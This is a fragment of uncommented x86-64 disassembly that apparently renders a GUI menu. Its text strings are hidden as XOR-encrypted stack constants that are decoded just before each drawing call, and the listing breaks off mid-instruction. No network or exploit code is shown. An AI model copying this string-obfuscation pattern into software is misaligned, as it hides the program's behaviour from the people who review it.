mov qword [rbp + 0x10], rdx
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xd88], rcx
lea rcx, [rbp + 0xda0]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xd90], rax
mov qword [rbp + 0x10], rdx
mov edx, 0xff
mov rax, qword [rbp + 0x10]
mov r9d, edx
movdqa xmm0, xmmword [rbp + 0xd80]
mov r8d, edx
mov qword [rbp + 0xd98], rax
xorps xmm0, xmmword [rbp + 0xd90]
movdqa xmmword [rbp + 0xd80], xmm0
call fcn.14002b3c0
mov rcx, rax
call fcn.140033500
movss xmm2, dword [0x1400c5cac]
lea rcx, [rbp + 0x3c0]
movss xmm1, dword [0x1400c5ce8]
mov ebx, eax
call fcn.1400013d0
xor esi, esi
lea rcx, [rbp + 0xd80]
mov qword [rsp + 0x40], rsi
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rdx, qword [0x1415573c8]
mov r9, rax
movaps xmm2, xmm6
mov dword [rsp + 0x20], ebx
mov rcx, rdi
call fcn.140023cc0
call fcn.1400128f0
mov rdi, rax
lea rdx, [0x141557678]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x5d72d1a860b217d6
mov qword [rbp + 0x10], rax
movabs rax, 0x4fe8f3a12dd09d85
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xdb0], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0x2911b4dc05d67983
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xdb8], rcx
lea rcx, [rbp + 0xdd0]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xdc0], rax
movabs rax, 0x4fe8f3a12dd0f9e0
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0xdb0]
mov qword [rbp + 0xdc8], rax
xorps xmm0, xmmword [rbp + 0xdc0]
movdqa xmmword [rbp + 0xdb0], xmm0
call fcn.1400334f0
mov rcx, rax
call fcn.140033500
movss xmm2, dword [0x1400c5cac]
lea rcx, [rbp + 0x3c8]
movss xmm1, dword [0x1400c5d0c]
mov ebx, eax
call fcn.1400013d0
mov rdx, qword [0x1415573c8]
lea rcx, [rbp + 0xdb0]
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm6
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140023cc0
mov rsi, qword [rbp + 0x168]
mov rcx, rsi
call fcn.140012310
movss xmm2, dword [0x1400c5cb0]
lea rcx, [rbp + 0x3d0]
movss xmm1, dword [0x1400c5cd8]
call fcn.1400013d0
lea rdx, [0x141557678]
mov rdi, rax
lea rcx, [rbp + 0xde0]
call fcn.1400334f0
mov rcx, rax
call fcn.140033500
lea rdx, [0x141557678]
mov ebx, eax
lea rcx, [rbp + 0xdf0]
call fcn.1400334f0
mov rcx, rax
call fcn.140033500
movss xmm3, dword [0x1400c5c8c]
lea rcx, [0x1400c2324]
mov r8d, ebx
mov qword [rsp + 0x20], rdi
mov edx, eax
call fcn.140035870
call fcn.1400123b0
call fcn.1400128f0
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov edx, 0xff
mov byte [rbp], al
mov r9d, edx
mov byte [rbp], al
mov r8d, edx
movabs rax, 0x4d61e1fc71a518cf
mov dword [rsp + 0x20], 0xff
mov qword [rbp + 0x10], rax
movabs rax, 0x4fe8f38117b58d81
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xe00], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0x2911b4dc05d67983
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xe08], rcx
lea rcx, [rbp + 0xe20]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xe10], rax
movabs rax, 0x4fe8f3a12dd0f9e0
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0xe00]
mov qword [rbp + 0xe18], rax
xorps xmm0, xmmword [rbp + 0xe10]
movdqa xmmword [rbp + 0xe00], xmm0
call fcn.14002b3c0
mov rcx, rax
call fcn.140033500
movss xmm2, dword [0x1400c5cbc]
lea rcx, [rbp + 0x3d8]
movss xmm1, dword [0x1400c5ce8]
mov ebx, eax
call fcn.1400013d0
mov rdx, qword [0x1415573c8]
xor ecx, ecx
mov qword [rsp + 0x40], rcx
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm6
mov qword [rsp + 0x30], rcx
lea rcx, [rbp + 0xe00]
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140023cc0
call fcn.1400128f0
mov rdi, rax
lea rdx, [0x141557678]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x1b2186f33cf949b2
mov qword [rbp + 0x10], rax
movabs rax, 0x4fe8f3a12dd0f9d4
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xe30], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0x2911b4dc05d67983
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xe38], rcx
lea rcx, [rbp + 0xe50]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xe40], rax
movabs rax, 0x4fe8f3a12dd0f9e0
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0xe30]
mov qword [rbp + 0xe48], rax
xorps xmm0, xmmword [rbp + 0xe40]
movdqa xmmword [rbp + 0xe30], xmm0
call fcn.1400334f0
mov rcx, rax
call fcn.140033500
movss xmm2, dword [0x1400c5cbc]
lea rcx, [rbp + 0x3e0]
movss xmm1, dword [0x1400c5d24]
mov ebx, eax
call fcn.1400013d0
mov rdx, qword [0x1415573c8]
xor ecx, ecx
mov qword [rsp + 0x40], rcx
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm6
mov qword [rsp + 0x30], rcx
lea rcx, [rbp + 0xe30]
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140023cc0
mov rcx, rsi
call fcn.140012310
movss xmm2, dword [0x1400c5cc0]
lea rcx, [rbp + 0x3e8]
movss xmm1, dword [0x1400c5cd8]
call fcn.1400013d0
lea rdx, [0x141557678]
mov rdi, rax
lea rcx, [rbp + 0xe60]
call fcn.1400334f0
mov rcx, rax
call fcn.140033500
lea rdx, [0x141557678]
mov ebx, eax
lea rcx, [rbp + 0xe70]
call fcn.1400334f0
mov rcx, rax
call fcn.140033500
movss xmm3, dword [0x1400c5c8c]
lea rcx, [0x1400c2324]
mov r8d, ebx
mov qword [rsp + 0x20], rdi
mov edx, eax
call fcn.140035870
call fcn.1400123b0
call fcn.1400128f0
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
mov edx, 0xff
mov byte [rbp], al
mov r9d, edx
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x5c4294af60bb18c4
mov qword [rbp + 0x10], rax
movabs rax, 0x758c96d55fbf8990
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1dc0], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0x1bc8b3ba8915b76d
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1dc8], rcx
movabs rcx, 0x2fa0d557e5debcea
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1dd0], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1dd8], rax
movabs rax, 0x2911b4dc05d67983
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1de0], rax
movabs rax, 0x4fe8f3a12dd0f9e0
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1de8], rax
movabs rax, 0x1bc8b3ba8915b74d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1df0], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1df8], rax
vmovdqu ymm0, ymmword [rbp + 0x1de0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1dc0]
vmovdqa ymmword [rbp + 0x1dc0], ymm1
mov r8d, edx
lea rcx, [rbp + 0xe80]
vzeroupper
call fcn.14002b3c0
mov rcx, rax
call fcn.140033500
movss xmm2, dword [0x1400c5cd8]
lea rcx, [rbp + 0x3f0]
movss xmm1, dword [0x1400c5ce8]
mov ebx, eax
call fcn.1400013d0
mov rdx, qword [0x1415573c8]
xor ecx, ecx
mov qword [rsp + 0x40], rcx
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm6
mov qword [rsp + 0x30], rcx
lea rcx, [rbp + 0x1dc0]
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140023cc0
call fcn.1400128f0
mov rdi, rax
lea rdx, [0x141557678]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x4c7cd59b25ba15c2
mov qword [rbp + 0x10], rax
movabs rax, 0x4fe8f3a12dd0f993
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xe90], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0x2911b4dc05d67983
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xe98], rcx
lea rcx, [rbp + 0xeb0]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xea0], rax
movabs rax, 0x4fe8f3a12dd0f9e0
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0xe90]
mov qword [rbp + 0xea8], rax
xorps xmm0, xmmword [rbp + 0xea0]
movdqa xmmword [rbp + 0xe90], xmm0
call fcn.1400334f0
mov rcx, rax
call fcn.140033500
movss xmm2, dword [0x1400c5cd8]
lea rcx, [rbp + 0x3f8]
movss xmm1, dword [0x1400c5d40]
mov ebx, eax
call fcn.1400013d0
mov rdx, qword [0x1415573c8]
xor ecx, ecx
mov qword [rsp + 0x40], rcx
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm6
mov qword [rsp + 0x30], rcx
lea rcx, [rbp + 0xe90]
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140023cc0
mov rcx, rsi
call fcn.140012310
movss xmm2, dword [0x1400c5cdc]
lea rcx, [rbp + 0x400]
movss xmm1, dword [0x1400c5cd8]
call fcn.1400013d0
lea rdx, [0x141557678]
mov rdi, rax
lea rcx, [rbp + 0xec0]
call fcn.1400334f0
mov rcx, rax
call fcn.140033500
lea rdx, [0x141557678]
mov ebx, eax
lea rcx, [rbp + 0xed0]
call fcn.1400334f0
mov rcx, rax
call fcn.140033500
movss xmm3, dword [0x1400c5c8c]
lea rcx, [0x1400c2324]
mov r8d, ebx
mov qword [rsp + 0x20], rdi
mov edx, eax
call fcn.140035870
call fcn.1400123b0
call fcn.140016a30
call fcn.1400128f0
lea rdx, [0x141557678]
mov rsi, rax
lea rcx, [rbp + 0xee0]
call fcn.1400334f0
mov rcx, rax
call fcn.140033500
movss xmm2, dword [rbp + 0x194]
lea rcx, [rbp + 0x408]
movss xmm1, dword [rbp + 0x190]
mov edi, eax
addss xmm2, dword [0x1400c5d80]
addss xmm1, dword [0x1400c5d80]
call fcn.1400013d0
movss xmm2, dword [rbp + 0x194]
lea rcx, [rbp + 0x410]
movss xmm1, dword [rbp + 0x190]
mov rbx, rax
addss xmm2, dword [0x1400c5d20]
addss xmm1, dword [0x1400c5cc8]
call fcn.1400013d0
movss xmm0, dword [0x1400c5c00]
mov r9d, edi
movss dword [rsp + 0x30], xmm0
mov r8, rbx
movss xmm0, dword [0x1400c5c1c]
mov rdx, rax
mov dword [rsp + 0x28], 0
mov rcx, rsi
movss dword [rsp + 0x20], xmm0
call fcn.140023920
movss xmm2, dword [0x1400c5d2c]
lea rcx, [rbp + 0x418]
movss xmm1, dword [0x1400c5cd0]
call fcn.1400013d0
mov rcx, rax
call fcn.1400165e0
call fcn.1400168d0
xor eax, eax
movabs rsi, 0x2fa0d557e5debcea
mov byte [rbp], al
movabs rdi, 0x2911b4dc05d67983
mov byte [rbp], al
movabs rbx, 0x4fe8f3a12dd0f9e0
mov byte [rbp], al
movabs rax, 0x965c6bd71a51cd1
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1e00], rax
movabs rax, 0x3d8d87c76cf0bab0
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1e08], rax
movabs rax, 0x1bc8d5d5e665e46d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1e10], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1e18], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1e20], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1e28], rax
movabs rax, 0x1bc8b3ba8915b74d
lea rdx, [0x141556908]
mov qword [rbp + 0x10], rax
lea rcx, [rbp + 0x1e00]
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1e30], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1e38], rax
vmovdqu ymm0, ymmword [rbp + 0x1e20]
vpxor ymm1, ymm0, ymmword [rbp + 0x1e00]
vmovdqa ymmword [rbp + 0x1e00], ymm1
vzeroupper
call fcn.140035b50
call fcn.140016a30
movss xmm2, dword [0x1400c5d6c]
lea rcx, [rbp + 0x420]
movss xmm1, dword [0x1400c5cd0]
call fcn.1400013d0
mov rcx, rax
call fcn.1400165e0
movss xmm2, dword [0x1400c5c7c]
lea rcx, [rbp + 0x428]
movss xmm1, dword [0x1400c5d14]
call fcn.1400013d0
mov rdx, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x407dd5a971a410d5
mov qword [rbp + 0x10], rax
movabs rax, 0x4fe8f3a12dd09c9a
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xef0], rcx
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xef8], rcx
lea rcx, [rbp + 0xef0]
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xf00], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xf08], rax
movdqa xmm0, xmmword [rbp + 0xf00]
xorps xmm0, xmmword [rbp + 0xef0]
movdqa xmmword [rbp + 0xef0], xmm0
call fcn.140034b90
test al, al
je 0x1400471f8
mov dword [0x1415573e0], 0xc
movss xmm2, dword [0x1400c5d54]
lea rcx, [rbp + 0x430]
movss xmm1, dword [0x1400c5cd0]
call fcn.1400013d0
mov rcx, rax
call fcn.1400165e0
movss xmm2, dword [0x1400c5c7c]
lea rcx, [rbp + 0x438]
movss xmm1, dword [0x1400c5d14]
call fcn.1400013d0
mov rdx, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x974c6b371a51cd1
mov qword [rbp + 0x10], rax
movabs rax, 0xba1a4e90db495af
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1e40], rcx
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1e48], rcx
movabs rcx, 0x1bc8b3ba8915b74d
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1e50], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1e58], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1e60], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1e68], rax
mov qword [rbp + 0x10], rcx
lea rcx, [rbp + 0x1e40]
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1e70], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1e78], rax
vmovdqu ymm0, ymmword [rbp + 0x1e60]
vpxor ymm1, ymm0, ymmword [rbp + 0x1e40]
vmovdqa ymmword [rbp + 0x1e40], ymm1
vzeroupper
call fcn.140034b90
call fcn.1400128f0
lea rdx, [0x141557678]
mov rsi, rax
lea rcx, [rbp + 0xf10]
call fcn.1400334f0
mov rcx, rax
call fcn.140033500
movss xmm2, dword [rbp + 0x194]
lea rcx, [rbp + 0x440]
movss xmm1, dword [rbp + 0x190]
mov edi, eax
addss xmm2, dword [0x1400c5d00]
addss xmm1, dword [0x1400c5da0]
call fcn.1400013d0
movss xmm2, dword [rbp + 0x194]
lea rcx, [rbp + 0x448]
movss xmm1, dword [rbp + 0x190]
mov rbx, rax
addss xmm2, dword [0x1400c5ca0]
addss xmm1, dword [0x1400c5d84]
call fcn.1400013d0
movss xmm0, dword [0x1400c5c00]
mov r9d, edi
movss dword [rsp + 0x30], xmm0
mov r8, rbx
movss xmm0, dword [0x1400c5c1c]
mov rdx, rax
mov dword [rsp + 0x28], 0
mov rcx, rsi
movss dword [rsp + 0x20], xmm0
call fcn.140023920
call fcn.1400128f0
mov rdi, rax
xor eax, eax
movabs rdx, 0x4fe8f3a12dd0f9e0
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x2911b4dc05d679c7
mov qword [rbp + 0x10], rax
movabs rax, 0x2911b4dc05d67983
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xf20], rcx
mov qword [rbp + 0x10], rdx
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xf28], rcx
lea rcx, [rbp + 0xf40]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xf30], rax
mov qword [rbp + 0x10], rdx
lea rdx, [0x141557678]
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xf38], rax
movdqa xmm0, xmmword [rbp + 0xf30]
xorps xmm0, xmmword [rbp + 0xf20]
movdqa xmmword [rbp + 0xf20], xmm0
call fcn.1400334f0
mov rcx, rax
call fcn.140033500
movss xmm2, dword [0x1400c5c94]
lea rcx, [rbp + 0x450]
movss xmm1, dword [0x1400c5d84]
mov ebx, eax
call fcn.1400013d0
movss xmm2, dword [0x1400c5c60]
lea rcx, [rbp + 0xf20]
mov rdx, qword [0x1415573d0]
xor esi, esi
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140023cc0
call fcn.1400128f0
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
mov edx, 0xf0
mov byte [rbp], al
mov r9d, edx
mov byte [rbp], al
mov r8d, edx
mov byte [rbp], al
movabs rax, 0x963d1ba6ab909d0
mov qword [rbp + 0x10], rax
movabs rax, 0x4fe8f3a15eb796ac
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xf50], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0x2911b4dc05d67983
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xf58], rcx
lea rcx, [rbp + 0xf70]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xf60], rax
movabs rax, 0x4fe8f3a12dd0f9e0
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xf68], rax
movdqa xmm0, xmmword [rbp + 0xf60]
xorps xmm0, xmmword [rbp + 0xf50]
movdqa xmmword [rbp + 0xf50], xmm0
call fcn.14002b3c0
mov rcx, rax
call fcn.140033500
movss xmm2, dword [0x1400c5c94]
lea rcx, [rbp + 0x458]
movss xmm1, dword [0x1400c5d8c]
mov ebx, eax
call fcn.1400013d0
movss xmm2, dword [0x1400c5c60]
lea rcx, [rbp + 0xf50]
mov rdx, qword [0x1415573c8]
mov r9, rax
mov qword [rsp + 0x40], rsi
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140023cc0
call fcn.1400128f0
lea rdx, [0x141557678]
mov rsi, rax
lea rcx, [rbp + 0xf80]
call fcn.1400334f0
mov rcx, rax
call fcn.140033500
movss xmm2, dword [rbp + 0x194]
lea rcx, [rbp + 0x460]
movss xmm1, dword [rbp + 0x190]
mov edi, eax
addss xmm2, dword [0x1400c5d80]
addss xmm1, dword [0x1400c5da0]
call fcn.1400013d0
movss xmm2, dword [rbp + 0x194]
lea rcx, [rbp + 0x468]
movss xmm1, dword [rbp + 0x190]
mov rbx, rax
addss xmm2, dword [0x1400c5d20]
addss xmm1, dword [0x1400c5d84]
call fcn.1400013d0
movss xmm0, dword [0x1400c5c00]
mov r9d, edi
movss dword [rsp + 0x30], xmm0
mov r8, rbx
movss xmm0, dword [0x1400c5c1c]
mov rdx, rax
mov dword [rsp + 0x28], 0
mov rcx, rsi
movss dword [rsp + 0x20], xmm0
call fcn.140023920
movss xmm2, dword [0x1400c5d2c]
lea rcx, [rbp + 0x470]
movss xmm1, dword [0x1400c5d88]
call fcn.1400013d0
mov rcx, rax
call fcn.1400165e0
call fcn.1400168d0
xor eax, eax
lea rdx, [0x141556909]
mov byte [rbp], al
lea rcx, [rbp + 0xf90]
mov byte [rbp], al
movabs rdi, 0x2911b4dc05d67983
mov byte [rbp], al
movabs rbx, 0x4fe8f3a12dd0f9e0
movabs rax, 0x7a31d8bd68a416cd
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xf90], rax
movabs rax, 0x4f8f9dc84bbf9690
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xf98], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xfa0], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xfa8], rax
movdqa xmm0, xmmword [rbp + 0xfa0]
xorps xmm0, xmmword [rbp + 0xf90]
movdqa xmmword [rbp + 0xf90], xmm0
call fcn.140035b50
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x467ec48f25b518ce
mov qword [rbp + 0x10], rax
lea rdx, [0x14155690a]
mov rax, qword [rbp + 0x10]
lea rcx, [rbp + 0xfb0]
mov qword [rbp + 0xfb0], rax
movabs rax, 0x4fe8f3a14abe9086
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xfb8], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xfc0], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0xfb0]
mov qword [rbp + 0xfc8], rax
xorps xmm0, xmmword [rbp + 0xfc0]
movdqa xmmword [rbp + 0xfb0], xmm0
call fcn.140035b50
call fcn.140016a30
cmp dword [0x1415573e0], 5
jne 0x140048553
mov rcx, qword [0x1415573b8]
call fcn.140012310
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0xfd0]
mov r8d, edx
call fcn.14002b3c0
mov rcx, rax
call fcn.140033500
movss xmm1, dword [0x1400c5be0]
lea rcx, [0x141557678]
mov esi, eax
call fcn.140004650
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0xfe0]
mov r8d, edx
mov edi, eax
call fcn.14002b3c0
mov rcx, rax
call fcn.140033500
movss xmm1, dword [0x1400c5d34]
lea rcx, [rbp + 0x478]
movaps xmm2, xmm15
mov ebx, eax
call fcn.1400013d0
movss xmm3, dword [0x1400c5b8c]
lea rcx, [rbp + 0xff0]
movss dword [rsp + 0x28], xmm3
mov r9d, edi
mov r8d, ebx
mov dword [rsp + 0x20], esi
movss xmm1, dword [rax]
movss xmm2, dword [rax + 4]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x958948e259359d0
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xff0], rax
movabs rax, 0x4fe8f3f20d9cd9a1
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xff8], rax
movabs rax, 0x2911b4dc05d67983
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1000], rax
movabs rax, 0x4fe8f3a12dd0f9e0
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0xff0]
mov qword [rbp + 0x1008], rax
xorps xmm0, xmmword [rbp + 0x1000]
unpcklps xmm1, xmm2
movq rdx, xmm1
movdqa xmmword [rbp + 0xff0], xmm0
call fcn.1400361e0
call fcn.1400123b0
call fcn.1400128f0
mov edx, 0x10
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x1010]
mov r8d, edx
mov rsi, rax
call fcn.14002b3c0
mov rcx, rax
call fcn.140033500
movss xmm2, dword [0x1400c5da4]
lea rcx, [rbp + 0x480]
movss xmm1, dword [0x1400c5cb8]
mov edi, eax
call fcn.1400013d0
mov rbx, rax
movaps xmm2, xmm14
movaps xmm1, xmm14
lea rcx, [rbp + 0x488]
call fcn.1400013d0
mov r9d, edi
mov dword [rsp + 0x28], 0
mov r8, rbx
movss dword [rsp + 0x20], xmm14
mov rdx, rax
mov rcx, rsi
call fcn.140023a00
movaps xmm2, xmm7
lea rcx, [rbp + 0x490]
movaps xmm1, xmm7
call fcn.1400013d0
mov rcx, rax
call fcn.1400165e0
call fcn.1400168d0
mov rcx, r14
call fcn.140012310
movaps xmm2, xmm15
lea rcx, [rbp + 0x498]
movaps xmm1, xmm15
call fcn.1400013d0
cmp dword [0x1415573e0], 3
lea rdx, [0x1400c22e4]
mov r8, rax
sete cl
call fcn.1400368d0
test al, al
je 0x140047a00
mov dword [0x1415573e0], 3
movaps xmm2, xmm15
lea rcx, [rbp + 0x4a0]
movaps xmm1, xmm15
call fcn.1400013d0
cmp dword [0x1415573e0], 4
lea rdx, [0x1400c22e8]
mov r8, rax
sete cl
call fcn.1400368d0
test al, al
je 0x140047a3b
mov dword [0x1415573e0], 4
movaps xmm2, xmm15
lea rcx, [rbp + 0x4a8]
movaps xmm1, xmm15
call fcn.1400013d0
cmp dword [0x1415573e0], 5
lea rdx, [0x1400c22ec]
mov r8, rax
sete cl
call fcn.1400368d0
test al, al
je 0x140047a76
mov dword [0x1415573e0], 5
movaps xmm2, xmm15
lea rcx, [rbp + 0x4b0]
movaps xmm1, xmm15
call fcn.1400013d0
cmp dword [0x1415573e0], 6
lea rdx, [0x1400c22f0]
mov r8, rax
sete cl
call fcn.1400368d0
test al, al
je 0x140047ab1
mov dword [0x1415573e0], 6
movaps xmm2, xmm15
lea rcx, [rbp + 0x4b8]
movaps xmm1, xmm15
call fcn.1400013d0
cmp dword [0x1415573e0], 7
lea rdx, [0x1400c22f4]
mov r8, rax
sete cl
call fcn.1400368d0
test al, al
je 0x140047aec
mov dword [0x1415573e0], 7
call fcn.1400123b0
call fcn.140016a30
call fcn.1400128f0
mov rdi, rax
movabs rdx, 0x4fe8f3a12dd0f9e0
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x2911b4dc05d679c7
mov qword [rbp + 0x10], rax
movabs rax, 0x2911b4dc05d67983
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1020], rcx
mov qword [rbp + 0x10], rdx
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1028], rcx
lea rcx, [rbp + 0x1040]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1030], rax
mov qword [rbp + 0x10], rdx
lea rdx, [0x141557678]
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x1020]
mov qword [rbp + 0x1038], rax
xorps xmm0, xmmword [rbp + 0x1030]
movdqa xmmword [rbp + 0x1020], xmm0
call fcn.1400334f0
mov rcx, rax
call fcn.140033500
movss xmm2, dword [0x1400c5ca4]
lea rcx, [rbp + 0x4c0]
movss xmm1, dword [0x1400c5d20]
mov ebx, eax
call fcn.1400013d0
mov rdx, qword [0x1415573d0]
lea rcx, [rbp + 0x1020]
xor esi, esi
mov r9, rax
mov qword [rsp + 0x40], rsi
movaps xmm2, xmm6
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140023cc0
call fcn.1400128f0
mov rdi, rax
lea rdx, [0x141557678]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x4673c6b96da216ce
mov qword [rbp + 0x10], rax
movabs rax, 0x4fe8f3a117b48b81
